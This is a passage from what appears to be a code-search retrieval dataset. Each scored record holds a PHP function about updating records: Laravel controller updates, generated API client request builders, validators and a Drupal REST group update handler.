}\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'PUT',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "16283f1d9ba3d69d6f7eb3f4580105a1", "score": "0.44956464", "text": "public function processUpdateFields()\n {\n }", "title": "" }, { "docid": "08cfb021c4be289b1b8f361a373c6a9a", "score": "0.44799027", "text": "public function update()\r\n\t\t{\r\n\t\t\t\r\n\t\t\t$args = func_get_args();\r\n\t\t\t$isStatic = !isset($this) || !is_a( $this, __CLASS__ );\r\n\t\t\t\r\n\t\t\tif ( $isStatic )\r\n\t\t\t\treturn call_user_func_array( array( 'LW_Resource', 'static_update' ), $args );\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t// Merge the data arrays if data passed in.\r\n\t\t\t\tif ( $args[0] )\r\n\t\t\t\t\t$args[0] = array_merge( $this->data, $args[0] );\r\n\t\t\t\t\r\n\t\t\t\treturn LW_Resource::static_update( $this, $args[0] );\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\r\n\t\t}", "title": "" }, { "docid": "014e1d916cadda34f6d3f8664caf4f93", "score": "0.4478064", "text": "public function forUpdate($update = NULL)\n {\n return wfSetVar($this->mForUpdate, $update);\n }", "title": "" }, { "docid": "2d2c47264d6fc01e5692075213c8bd28", "score": "0.4477603", "text": "public function update(Update $request)\n {\n return $request->process();\n }", "title": "" }, { "docid": "03e46cde94388389fbe8b3f360fda6d4", "score": "0.44664088", "text": "public function setUpdateId($var)\n {\n GPBUtil::checkString($var, True);\n $this->update_id = $var;\n\n return $this;\n }", "title": "" }, { "docid": "fd158ee4969b10f25704edaed6424f2f", "score": "0.4453589", "text": "public function update(UpdateGroupRequest $request, $id)\n {\n //\n }", "title": "" }, { "docid": "a9a2b56bd5d8316f80eeaab52a7b1e1a", "score": "0.44354218", "text": "abstract protected function getFieldsToUpdate();", "title": "" }, { "docid": "9bc59d2eeae7dc2009cc5437a18c6535", "score": "0.44331187", "text": "public static function updateDocument($condition, $update, $option = array())\n {\n return static::getCollectionInstance()->update($condition, $update, $option);;\n }", "title": "" }, { "docid": "029cb0aa2fe61a8bb690618332ceb9c4", "score": "0.44265932", "text": "function update()\n {\n $fields = $this->model->get_field_validation_fields();\n\n // get expected field values from POST\n $parmObj = new \\stdClass();\n foreach(array_keys($fields) as $name) {\n $parmObj->$name = isset($_POST[$name])?$_POST[$name]:'';\n }\n $command = $this->request->getPost('CopyMode');\n\n $message = \"\";\n $result = $this->model->add_or_update($parmObj, $command, $message);\n if($result != 0) {\n echo \"($result):$message\";\n } else {\n echo \"Update was successful\";\n }\n }", "title": "" }, { "docid": "e9c337d58475b3bb49098fd1fb666c96", "score": "0.44122535", "text": "public function update(): EntityExtendUpdateResult;", "title": "" }, { "docid": "f01c2efde92d15c499ccf39c95ff0133", "score": "0.4377749", "text": "public function setObjectMask($mask)\n {\n if (!empty($mask)) {\n $header = 'SoftLayer_ObjectMask';\n\n if ($mask instanceof ObjectMask) {\n $header = sprintf('%sObjectMask', $this->_serviceName);\n }\n\n $objectMask = new \\stdClass();\n $objectMask->mask = $mask;\n $this->addHeader($header, $objectMask);\n }\n\n return $this;\n }", "title": "" }, { "docid": "b650a4b3f113f0bf861fb3953d885ed9", "score": "0.4376899", "text": "public function update($id, UpdateOptionGroupRequest $request)\n {\n $optionGroup = $this->optionGroupRepository->findWithoutFail($id);\n\n if (empty($optionGroup)) {\n Flash::error('Option Group not found');\n return redirect(route('optionGroups.index'));\n }\n $input = $request->all();\n $customFields = $this->customFieldRepository->findByField('custom_field_model', $this->optionGroupRepository->model());\n try {\n $optionGroup = $this->optionGroupRepository->update($input, $id);\n \n \n foreach (getCustomFieldsValues($customFields, $request) as $value){\n $optionGroup->customFieldsValues()\n ->updateOrCreate(['custom_field_id'=>$value['custom_field_id']],$value);\n }\n } catch (ValidatorException $e) {\n Flash::error($e->getMessage());\n }\n\n Flash::success(__('lang.updated_successfully',['operator' => __('lang.option_group')]));\n\n return redirect(route('optionGroups.index'));\n }", "title": "" }, { "docid": "b72c2c5b0627e1a9ae31284920fdc2cc", "score": "0.4366807", "text": "public function update(Request $request, User_Group $user_Group)\n {\n //\n }", "title": "" }, { "docid": "8fd6e3e1493bb696dc4923215a4ad15e", "score": "0.43363756", "text": "abstract function add_update($update);", "title": "" }, { "docid": "e444f9273be8cf3c1fa9bdb62c089063", "score": "0.43164495", "text": "public function update_attrs(array $update)\n\t\t{\n\t\t\tif (static::USE_INITIAL_DATA && $update && empty($this->data_initial)) {\n\t\t\t\t$this->data_initial = $this->data;\n\t\t\t}\n\n\t\t\tforeach ($update as $attr=>$val) {\n\t\t\t\t$this->__set($attr, $val);\n\t\t\t}\n\n\t\t\treturn $this;\n\t\t}", "title": "" }, { "docid": "0e6e4e03b8589d07990003444d644ea4", "score": "0.4313428", "text": "function set_mask( $value ){\n $this->set_mapped_property('mask', $value);\n }", "title": "" }, { "docid": "e4ac7f2d64e7609649369c6521f59cf7", "score": "0.42954183", "text": "public function setFieldsToUpdate(array $fields)\n {\n }", "title": "" }, { "docid": "d58db50d561da9284d17ed06edf1a0da", "score": "0.429195", "text": "public function update(Update $request)\n {\n return $this->internetShopService->update($request->validated(), $request->allFiles(), $request->id);\n }", "title": "" }, { "docid": "7fdeaee211a76cf6bb0f77819a6d1f4f", "score": "0.42918777", "text": "public function get_update(array $args)\n {\n midgardmvc_core::get_instance()->authorization->require_admin();\n parent::get_update($args);\n $this->data['title'] = midgardmvc_core::get_instance()->i18n->get('title_update_field');\n }", "title": "" }, { "docid": "a859ed82067e8b63c99011a3ddd72f85", "score": "0.42913803", "text": "public function update($query, array $options = []) {\n\t\t$query = !is_object($query) ? new Query() : $query;\n\t\t$query->method() ?: $query->method(\"put\");\n\t\t$query->path() ?: $query->path(\"/{:source}/{:id}\");\n\n\t\t$params = [$query, $options];\n\n\t\treturn Filters::run($this, __FUNCTION__, $params, function($params) {\n\t\t\tlist($query, $options) = $params;\n\t\t\treturn $this->send($query, $options);\n\t\t});\n\t}", "title": "" }, { "docid": "3ec1092f0589c5a4767d2312b84126fe", "score": "0.42906553", "text": "public function onFieldUpdate();", "title": "" }, { "docid": "c0f4b6d397ab4dbac9124a8632ee11b1", "score": "0.4288982", "text": "public function updateWatermarkWithOptions($request, $runtime)\n {\n Utils::validateModel($request);\n $query = [];\n if (!Utils::isUnset($request->name)) {\n $query['Name'] = $request->name;\n }\n if (!Utils::isUnset($request->watermarkConfig)) {\n $query['WatermarkConfig'] = $request->watermarkConfig;\n }\n if (!Utils::isUnset($request->watermarkId)) {\n $query['WatermarkId'] = $request->watermarkId;\n }\n $req = new OpenApiRequest([\n 'query' => OpenApiUtilClient::query($query),\n ]);\n $params = new Params([\n 'action' => 'UpdateWatermark',\n 'version' => '2017-03-21',\n 'protocol' => 'HTTPS',\n 'pathname' => '/',\n 'method' => 'POST',\n 'authType' => 'AK',\n 'style' => 'RPC',\n 'reqBodyType' => 'formData',\n 'bodyType' => 'json',\n ]);\n\n return UpdateWatermarkResponse::fromMap($this->callApi($params, $req, $runtime));\n }", "title": "" }, { "docid": "deadddfcbd635784eb627f98b10dac00", "score": "0.42847627", "text": "public function get_update_fields(){\n\t\treturn array_merge( $this->get_fields, array('first_name', 'last_name', 'description', 'rich_editing', 'role', 'nickname', 'jabber', 'aim', 'yim', 'show_admin_bar_front') );\n\t}", "title": "" }, { "docid": "8d5320057a72a6dd8fa4b3c9d4dc5477", "score": "0.42806092", "text": "protected function processUpdateOptions()\n {\n }", "title": "" }, { "docid": "5c6f2f3d42ddb9144d652d20d0d5d9c7", "score": "0.42616412", "text": "public function validator_update($id, Request $request)\n {\n }", "title": "" }, { "docid": "5bc71fea246ce359ca733915cda4881a", "score": "0.42608705", "text": "public function __construct(RequestUpdate $update)\n {\n $this->update = $update;\n }", "title": "" }, { "docid": "8d10f6181742393520fe80106129ba31", "score": "0.42531887", "text": "public function update(UpdateMasksRequest $request, $id)\n {\n if (! Gate::allows('mask_edit')) {\n return abort(401);\n }\n $request = $this->saveFiles($request);\n $mask = Mask::findOrFail($id);\n $mask->update($request->all());\n\n return redirect()->route('masks.index');\n }", "title": "" }, { "docid": "295ebaf194272d12189efdc51adbc83a", "score": "0.42525762", "text": "public function update(Request $request, Group $group)\n {\n $rules = [\n 'name' => 'sometimes|required|max:17',\n 'description' => 'max:120',\n 'image' => 'nullable|image|file|mimes:jpeg,png,gif,webp|max:2048',\n ];\n\n $this->validate($request, $rules);\n\n // Making checks to be sure that there are no unauthorized changes.\n $groupUser = GroupUser::where([\n ['group_id',$group->id],\n ['user_id',$request->user()->id]\n ])->firstOrFail();\n\n // Checking if the main user has the necessary permission to make such a change\n if(!($groupUser->permission_id === 2) && !($groupUser->permission_id === 4)){\n return $this->errorResponse('User doesn\\'t have the required permissions to edit group info',403);\n }\n\n $forBroadcast = collect(['group_id'=>$group->id]);\n\n if($request->has('name')){\n $group->name = $request->name;\n $forBroadcast->put('name', $request->name);\n }\n\n if($request->has('description')){\n $group->description = $request->description;\n $forBroadcast->put('description', $request->description);\n }\n\n if($request->hasFile('image') || $request->has('image')){\n if(isset($group->image)){\n $imgName = explode('/', parse_url($group->image,PHP_URL_PATH))[2];\n Storage::delete($imgName);\n }\n \n if(isset($request->image)){\n $group->image = $request->image->store('');\n }else{\n $group->image = null;\n }\n \n $forBroadcast->put('image', $group->image);\n }\n\n if($group->isClean()){\n return response()->json(['error'=>'The values that you mentioned are the same as the previous ones','code'=>422],422);\n }\n\n $group->save();\n\n broadcast(new GroupInfoUpdated($forBroadcast));\n\n return $this->showInfo($forBroadcast);\n }", "title": "" }, { "docid": "ccebd808d6f2db78a14b95b23e1c1580", "score": "0.42491177", "text": "public function update(Request $request, User_and_Permissions $user_and_Permissions)\n {\n //\n }", "title": "" }, { "docid": "8ff5a75a7e42bccfb40de1b5860fbc93", "score": "0.4241392", "text": "public abstract function update(array $options=array());", "title": "" }, { "docid": "be6087ff3831c1509a61bcfdfe522bba", "score": "0.4237783", "text": "public function updateInboxReplierRequest($id, $update_inbox_replier_options, string $contentType = self::contentTypes['updateInboxReplier'][0])\n {\n\n // verify the required parameter 'id' is set\n if ($id === null || (is_array($id) && count($id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $id when calling updateInboxReplier'\n );\n }\n\n // verify the required parameter 'update_inbox_replier_options' is set\n if ($update_inbox_replier_options === null || (is_array($update_inbox_replier_options) && count($update_inbox_replier_options) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $update_inbox_replier_options when calling updateInboxReplier'\n );\n }\n\n\n $resourcePath = '/repliers/{id}';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // path params\n if ($id !== null) {\n $resourcePath = str_replace(\n '{' . 'id' . '}',\n ObjectSerializer::toPathValue($id),\n $resourcePath\n );\n }\n\n\n $headers = $this->headerSelector->selectHeaders(\n ['*/*', ],\n $contentType,\n $multipart\n );\n\n // for model (json/xml)\n if (isset($update_inbox_replier_options)) {\n if (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the body\n $httpBody = \\GuzzleHttp\\json_encode(ObjectSerializer::sanitizeForSerialization($update_inbox_replier_options));\n } else {\n $httpBody = $update_inbox_replier_options;\n }\n } elseif (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $formParamValueItems = is_array($formParamValue) ? $formParamValue : [$formParamValue];\n foreach ($formParamValueItems as $formParamValueItem) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValueItem\n ];\n }\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif (stripos($headers['Content-Type'], 'application/json') !== false) {\n # if Content-Type contains \"application/json\", json_encode the form parameters\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n } else {\n // for HTTP post (form)\n $httpBody = ObjectSerializer::buildQuery($formParams);\n }\n }\n\n // this endpoint requires API key authentication\n $apiKey = $this->config->getApiKeyWithPrefix('x-api-key');\n if ($apiKey !== null) {\n $headers['x-api-key'] = $apiKey;\n }\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $operationHost = $this->config->getHost();\n $query = ObjectSerializer::buildQuery($queryParams);\n return new Request(\n 'PUT',\n $operationHost . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "title": "" }, { "docid": "11c7656038bc68b5b3b48a4cf9bf6f50", "score": "0.42374867", "text": "protected function validateUpdate($put, $user) {\n\t\tif (empty($put['IsResetPassword'])) {\n\t\t\t$rules = array(\n\t\t\t\t'FirstName' => array('required'),\n\t\t\t\t'LastName' => array('required'),\n\t\t\t\t'Email' => array('required', 'email', 'profile_email:' . $user->UserID),\n\t\t\t\t'ExtraEmails' => array('extra_emails:' . $user->UserID),\n\t\t\t\t'Password' => array('required_with:NewPassword', 'password_matched:' . (isset($user->Password) ? $user->Password : null)),\n\t\t\t\t'NewPassword' => array('min:6'),\n\t\t\t\t'NewPasswordConfirm' => array('required_with:NewPassword', 'same:NewPassword'),\n\t\t\t\t//'Password' => array('password_matched:' . (isset($user->Password) ? $user->Password : null)),\n\t\t\t\t'CompanyName' => array('max:255'),\n\t\t\t\t'CompanyAddress' => array('max:255'),\n\t\t\t\t'AddressFirst' => array('max:255'),\n\t\t\t\t'AddressSecond' => array('max:255'),\n\t\t\t\t'MaritalStatus' => array('in:0,1'),\n\t\t\t\t'Gender' => array('in:0,1,2'),\n\t\t\t\t'BirthDate' => array('date'),\n\t\t\t);\n \n $rulesRequired = array(\n\t\t\t\t'FirstName' => array('required'),\n\t\t\t\t'LastName' => array('required'),\n\t\t\t\t'Email' => array('required', 'email', 'profile_email:' . $user->UserID),\n );\n \n foreach ($rulesRequired as $key => $value) {\n if(!isset($inputs[$key])) {\n unset($rules[$key]);\n }\n }\n\t\t} else {\n\t\t\t$rules = array(\n\t\t\t\t'NewPassword' => array('required', 'min:6'),\n\t\t\t\t'NewPasswordConfirm' => array('required', 'same:NewPassword'),\n\t\t\t);\n\t\t}\n \n $message = array(\n 'required' => 'Please enter your :attribute.',\n 'Password.required_with' => 'Please enter your current password.',\n 'NewPasswordConfirm.required_with' => 'Please confirm your new password.',\n 'NewPassword.min' => 'Your password must consist at least :min characters.',\n 'NewPasswordConfirm.same' => 'Please re-enter your confirmation password. It does not match with your first entry.',\n );\n\t\t\n\t\t$validator = Validator::make($put, $rules, $message);\n\n\t\tif ($validator->fails()) {\n return array('message' => $validator->messages()->all());\n }\n \n return array();\n }", "title": "" }, { "docid": "98ab9d8121ff49381c0396f787b25eda", "score": "0.4234132", "text": "public function setDataUpdate($data_update)\n {\n $this->data_update = $data_update;\n\n return $this;\n }", "title": "" }, { "docid": "98ab9d8121ff49381c0396f787b25eda", "score": "0.4234132", "text": "public function setDataUpdate($data_update)\n {\n $this->data_update = $data_update;\n\n return $this;\n }", "title": "" }, { "docid": "98ab9d8121ff49381c0396f787b25eda", "score": "0.4234132", "text": "public function setDataUpdate($data_update)\n {\n $this->data_update = $data_update;\n\n return $this;\n }", "title": "" }, { "docid": "98ab9d8121ff49381c0396f787b25eda", "score": "0.4234132", "text": "public function setDataUpdate($data_update)\n {\n $this->data_update = $data_update;\n\n return $this;\n }", "title": "" }, { "docid": "31395619dc43eb0fd855c198be0c4f0a", "score": "0.42303434", "text": "public function update($type, $id, array $update) {\n\t\ttry {\n\t\t\t$res = $this->client->put($type . '/' . $id, [\n\t\t\t\t'json' => $update\n\t\t\t]);\n\n\t\t\tif ($res->getStatusCode() !== 200) {\n\t\t\t\tthrow new CachetException('Invalid response code!');\n\t\t\t}\n\n\t\t\t$json = $this->json($res);\n\n\t\t\treturn $json->data;\n\t\t} catch (RequestException $e) {\n\t\t\t$this->handleException($e);\n\t\t}\n\t}", "title": "" }, { "docid": "749c4e1ce33dbd8ac6511c61fa420fb2", "score": "0.42219064", "text": "function setMaskImage($mask_image){}", "title": "" }, { "docid": "629709e78eb0d6946eb7fd56aee93b6e", "score": "0.4220577", "text": "public function update($id, UpdateOptionGroupRequest $request)\n {\n $optionGroup = $this->optionGroupRepository->findWithoutFail($id);\n\n if (empty($optionGroup)) {\n Flash::error('Option Group not found');\n return redirect(route('optionGroups.index'));\n }\n $input = $request->all();\n $customFields = $this->customFieldRepository->findByField('custom_field_model', $this->optionGroupRepository->model());\n try {\n $optionGroup = $this->optionGroupRepository->update($input, $id);\n foreach (getCustomFieldsValues($customFields, $request) as $value) {\n $optionGroup->customFieldsValues()\n ->updateOrCreate(['custom_field_id' => $value['custom_field_id']], $value);\n }\n } catch (ValidatorException $e) {\n Flash::error($e->getMessage());\n }\n\n Flash::success(__('lang.updated_successfully', ['operator' => __('lang.option_group')]));\n\n return redirect(route('optionGroups.index'));\n }", "title": "" }, { "docid": "ce4435d2552281a7089ea1d48dc131b2", "score": "0.4220438", "text": "function updateFlags() {\n if(!empty($this->addresses)) {\n foreach($this->addresses as $addressMeta) {\n if(isset($addressMeta['email_address']) && !empty($addressMeta['email_address'])) {\n $address = $this->db->quote($this->_cleanAddress($addressMeta['email_address']));\n $q = \"SELECT * FROM \" . $this->table_name . \" WHERE email_address = '{$address}'\";\n $r = $this->db->query($q);\n $a = $this->db->fetchByAssoc($r);\n\n if(!empty($a)) {\n if(isset($a['invalid_email']) && isset($addressMeta['invalid_email']) && isset($addressMeta['opt_out']) && $a['invalid_email'] != $addressMeta['invalid_email'] || $a['opt_out'] != $addressMeta['opt_out']) {\n $qUpdate = \"UPDATE \" . $this->table_name . \" SET invalid_email = \".intval($addressMeta['invalid_email']).\", opt_out = \".intval($addressMeta['opt_out']).\", date_modified = '\".TimeDate::getInstance()->nowDb().\"' WHERE id = '\".$this->db->quote($a['id']).\"'\";\n $rUpdate = $this->db->query($qUpdate);\n }\n }\n }\n }\n }\n }", "title": "" }, { "docid": "94d713620e090510ca8d932daef87cf8", "score": "0.42078283", "text": "public function update($id, array $values) {\n\n global $user;\n\n// watchdog('musth_restws', 'W7D001 ngbfwq GroupResourceController::update group update values (!v) (!i) ',\n// array('!v' => print_r($values, true),\n// '!i' => print_r($id, true)),\n// WATCHDOG_DEBUG);\n\n // It's possible to update\n // title\n // description\n // Actually we want both of them and they can't be empty\n\n if (!empty($values['title'])) {\n\n $title = trim($values['title']);\n\n } else {\n\n watchdog('musth_restws',\n 'W3E288 No title provided when updating a group (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No title provided, a group needs a title', 412);\n }\n\n if (mb_strlen($title) < 3) {\n // Exception here because Angular shouldn't be sending short titles, something is wrong\n\n watchdog('musth_restws', 'W3E289 Title too short (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('Title too short', 412);\n }\n\n if (!empty($values['description'])) {\n\n $description = $values['description'];\n\n } else {\n\n watchdog('musth_restws',\n 'W3E290 No description provided when updating a group (!v)',\n array('!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('No description provided, a group needs a description', 412);\n }\n\n // Checking if the group exists\n\n $group = node_load($id);\n\n if ($group) {\n\n // Only the group creator can change a group\n\n if ($group->uid != $user->uid) {\n\n // Consider that this exception can happen as well if the user is not logged-in at all ($user->uid == 0)\n\n watchdog('musth_restws',\n 'W3E291 The logged-in user is not the same as the group creator specified in the given values ' .\n ' <br> group id (!c) <br> user (!u) ',\n array('!c' => print_r($id, true),\n '!u' => print_r($user, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('Cant update group, the logged-in user doesnt own it. Id: ' . $id, 403);\n }\n\n // Now updating the group\n\n // If the group is spammy, we held it for moderation and unpublish it\n\n $group_may_be_spammy = musth_helper_functions_this_text_is_spammy($title) ||\n musth_helper_functions_this_text_is_spammy($description);\n\n if ($group_may_be_spammy)\n $group->status = NODE_NOT_PUBLISHED;\n else\n $group->status = NODE_PUBLISHED;\n\n $group_wrapper = entity_metadata_wrapper('node', $group);\n\n // By using the wrapper, we do not have to worry about telling Drupal\n // what language we are using. The Entity API handles that for us.\n $group_wrapper->title->set($title);\n\n // For the field body we set only the value. We don't use the summary or the format fields\n $group_wrapper->body->set(array('value' => $description));\n\n try {\n\n $group_wrapper->save();\n\n // throw new Exception('Just a test exception W3E292.');\n\n }\n catch (Exception $e) {\n\n watchdog('musth_restws', 'W3E292 Error in updating a group. Error message: (!e)',\n array('!e' => print_r($e->getMessage(), true)),\n WATCHDOG_ERROR);\n\n // Get out of here!\n throw new RestWSException('Error in updating a group', 500);\n }\n\n } else {\n\n watchdog('musth_restws', 'W3E293 Group not found (!g) (!v) ',\n array('!g' => print_r($id, true),\n '!v' => print_r($values, true)),\n WATCHDOG_ERROR);\n\n throw new RestWSException('Group not found, group id: ' . $id, 404);\n }\n\n if ($group_may_be_spammy)\n throw new RestWSException('Group updated but held for moderation', 406);\n\n //watchdog('musth_restws', 'W7D001 8765 line item update values (!v) (!i) ',\n // array('!v' => print_r($values, true),\n // '!i' => print_r($id, true)),\n // WATCHDOG_DEBUG);\n\n // A return is ignored here, an update call returns nothing if it's successful\n }", "title": "" }, { "docid": "9c85f392f39257ceae0a712ac6ac63fe", "score": "0.41988313", "text": "public function update($id, UpdateRequest $request)//PUT\n {\n $cv = CV::findOrFail($id);\n if (Gate::denies('update-cv', $cv->user_id)) {\n abort(403);\n }\n if ($request->has('B_date')) {\n $cv->Birth_date = getDateDate($request->input('B_date'));\n }\n $cv->update($request->all());\n }", "title": "" }, { "docid": "a87f6446713d8e729ec18aed75b97dd9", "score": "0.4191486", "text": "public function update(UpdateUserRequest $request)\n {\n dd($request->all());\n }", "title": "" }, { "docid": "2f6606ef2aeab5dbb6f70854a1e7d04a", "score": "0.41888908", "text": "public function updateClient() {\n\n //status\n $status = true;\n $message = '';\n $count = 0;\n\n //validate - check if some boxes are ticked but the field name is blank\n foreach (request('customfields_title') as $key => $value) {\n $count++;\n //error count\n $error = false;\n if ($value == '') {\n if ($_POST['customfields_required'][$key] == 'on') {\n $error = true;\n }\n if ($_POST['customfields_show_client_page'][$key] == 'on') {\n $error = true;\n }\n if ($_POST['customfields_show_invoice'][$key] == 'on') {\n $error = true;\n }\n if ($_POST['customfields_status'][$key] == 'on') {\n $error = true;\n }\n }\n //message\n if ($error) {\n $message .= __('lang.form_field') . \" ($count) </br>\";\n //error status\n $status = false;\n }\n }\n\n //validate form\n if (!$status) {\n abort(409, __('lang.the_following_fields_do_not_have_a_name') . '</br>' . $message);\n }\n\n //update each field\n foreach (request('customfields_title') as $key => $value) {\n //reset existing account owner\n \\App\\Models\\CustomField::where('customfields_id', $key)\n ->update([\n 'customfields_title' => $_POST['customfields_title'][$key],\n 'customfields_required' => runtimeDBCheckBoxYesNo($_POST['customfields_required'][$key]),\n 'customfields_show_client_page' => runtimeDBCheckBoxYesNo($_POST['customfields_show_client_page'][$key]),\n 'customfields_show_invoice' => runtimeDBCheckBoxYesNo($_POST['customfields_show_invoice'][$key]),\n 'customfields_status' => runtimeDBCheckBoxEnabledDisabled($_POST['customfields_status'][$key]),\n ]);\n }\n\n //reponse payload\n $payload = [];\n\n //generate a response\n return new UpdateResponse($payload);\n }", "title": "" }, { "docid": "481e96841d79da073361ffd33844a650", "score": "0.4181124", "text": "public function __construct(\\PicturePark\\API\\Model\\ContentFieldsBatchUpdateRequest $requestBody)\n {\n $this->body = $requestBody;\n }", "title": "" }, { "docid": "99e5e8019f32b7024ccf42cb9308593e", "score": "0.41730893", "text": "public function update(UpdateRequest $request, $id)\n\t{\n\t\treturn parent::_update($request, $id);\n\t}", "title": "" }, { "docid": "2957d1fef787cc15a845cfba26ee4695", "score": "0.41684407", "text": "public function setFieldsToUpdateExtra(array $fields)\n\t{\n\t\t$this->update_fields_extra = $fields;\n\t}", "title": "" }, { "docid": "9ebb63640c1419f22f0aeb2ecfd33150", "score": "0.4160853", "text": "public function callUpdate($callId, array $data)\n {\n $defaults = array(\n 'action' => null, // action\n 'call_id' => str_pad($callId, 8, '0', STR_PAD_LEFT), // call ID to update\n 'customer_id' => null, // customer CID number\n 'date_nextcontact' => null, // date-time field, call next-contact\n 'impact' => null, // impact\n 'on_site_visit' => null, // Yes/No/NULL\n 'origin' => null, // origin\n 'owner_id' => null, // owner id number\n 'owner' => null, // call owner (Remedy login)\n 'priority' => null, // priority\n 'problem_text' => null, // single diary entry\n 'problem' => null, // problem description\n 'product_id' => null, // product id number\n 'product' => null, // product name\n 'solution_id' => null, // solution id number\n 'status' => null, // status\n 'time_spent' => null, // time spent, in seconds\n 'workgroup_id' => null, // workgroup id number\n 'workgroup' => null, // workgroup name\n 'email_to' => null, // to: address to send email\n 'email_text' => null, // text of the email\n 'email_cc' => null, // cc: address to copy email\n 'email_bcc' => null, // bcc: address to copy email\n 'email_subject' => null, // subject of the email\n );\n\n $args = array();\n\n foreach ($defaults as $key => $value) {\n if (isset($data[$key])) {\n $args[$key] = $data[$key];\n } elseif (!is_null($value)) {\n $args[$key] = $value;\n }\n }\n\n // Check to see if the update includes the sending of email via setting email_to or email_text\n if (isset($args['email_to']) || isset($args['email_text'])) {\n\n // both must be set, throw exception otherwise\n if (!isset($args['email_text'])) {\n throw new Ncstate_Service_Exception('If email_to field is set, email_text must also be set');\n }\n\n if (!isset($args['email_to'])) {\n throw new Ncstate_Service_Exception('If email_text field is set, email_to must also be set');\n }\n\n // tells the remedy service to send email\n $args['send_email'] = 'Pending';\n\n } else {\n // unset any email parameters if no email is to be sent\n unset($args['email_to']);\n unset($args['email_text']);\n unset($args['email_cc']);\n unset($args['email_bcc']);\n unset($args['email_subject']);\n }\n\n return $this->_request('calls', 'update-entry', $args);\n }", "title": "" }, { "docid": "0c51e52deb73cf11374d40ff55d0966d", "score": "0.4158904", "text": "public function update(Request $request, Group $group)\n {\n //\n }", "title": "" }, { "docid": "0c51e52deb73cf11374d40ff55d0966d", "score": "0.4158904", "text": "public function update(Request $request, Group $group)\n {\n //\n }", "title": "" }, { "docid": "8925480c10996231f0844dc66e65ef9d", "score": "0.41578066", "text": "public function update(array $options = array()) {\n if (ctype_alnum((string)$this->_id) && is_scalar($this->_id)) { \n $criteria = array('_id' => new MongoId($this->_id));\n $allowOptions = empty($options) ? $options : array_intersect_key($options, array_flip(array('upsert', 'multiple', 'fsync', 'timeout', 'safe')));\n $allowOptions['w'] = 1;\n try { \n $this->validateFields()->getCollection()->update($criteria, $this->parseProperty(), $allowOptions);\n $this->increaseCounter();\n } catch (Exception $e) {\n throw new $e->getMessage();\n } catch (MongoCursorException $e) {\n throw new Exception($e->getMessage());\n } \n } else {\n throw new Exception(\"_id:{$this->_id} is not alphanumeric or scalar\");\n }\n return $this;\n }", "title": "" }, { "docid": "465e4dbf2d337da9eb5dbc3dc454fffd", "score": "0.4155467", "text": "public function validateUpdate(){\n\n \t$validator = $this->getValidator('update');\n\n \tif($validator->fails()){\n \t\t$this->errors = $validator->messages();\n \t\treturn false;\n \t}\t\n\n \treturn true;\n }", "title": "" }, { "docid": "2e6a2f7ef60fca368c78d95cc8ce8a89", "score": "0.41517228", "text": "public static function fieldsToUpdate(): array\n {\n return [];\n }", "title": "" }, { "docid": "dd783927dc7295706b666d2c3f366149", "score": "0.4142697", "text": "public function getUpdateOperation(Item $item, Context $context = null): Operation\\Update\n\t{\n\t\treturn new Operation\\Update($item, $this->getOperationSettings($context), $this->getFieldsCollection());\n\t}", "title": "" }, { "docid": "ac46dbcd27de1d33a3605877574a90ff", "score": "0.41327494", "text": "public function updateContact($update, $id) {\n $where = array('_id' => new MongoId($id));\n return $this->cimongo\n ->where($where)\n ->update(self::CONTACTS, $update);\n\n }", "title": "" }, { "docid": "749b404174191fdb37ddf7077b0733a6", "score": "0.41326752", "text": "public function changeUMask($mask);", "title": "" }, { "docid": "5dbe073800629b0755b40f9165ae7b5d", "score": "0.41219458", "text": "public function updateProject() {\n\n //status\n $status = true;\n $message = '';\n $count = 0;\n\n //validate - check if some boxes are ticked but the field name is blank\n foreach (request('customfields_title') as $key => $value) {\n $count++;\n //error count\n $error = false;\n if ($value == '') {\n if ($_POST['customfields_required'][$key] == 'on') {\n $error = true;\n }\n if ($_POST['customfields_show_project_page'][$key] == 'on') {\n $error = true;\n }\n if ($_POST['customfields_status'][$key] == 'on') {\n $error = true;\n }\n }\n //message\n if ($error) {\n $message .= __('lang.form_field') . \" ($count) </br>\";\n //error status\n $status = false;\n }\n }\n\n //validate form\n if (!$status) {\n abort(409, __('lang.the_following_fields_do_not_have_a_name') . '</br>' . $message);\n }\n\n //update each field\n foreach (request('customfields_title') as $key => $value) {\n //reset existing account owner\n \\App\\Models\\CustomField::where('customfields_id', $key)\n ->update([\n 'customfields_title' => $_POST['customfields_title'][$key],\n 'customfields_required' => runtimeDBCheckBoxYesNo($_POST['customfields_required'][$key]),\n 'customfields_show_project_page' => runtimeDBCheckBoxYesNo($_POST['customfields_show_project_page'][$key]),\n 'customfields_status' => runtimeDBCheckBoxEnabledDisabled($_POST['customfields_status'][$key]),\n ]);\n }\n\n //reponse payload\n $payload = [];\n\n //generate a response\n return new UpdateResponse($payload);\n }", "title": "" } ]
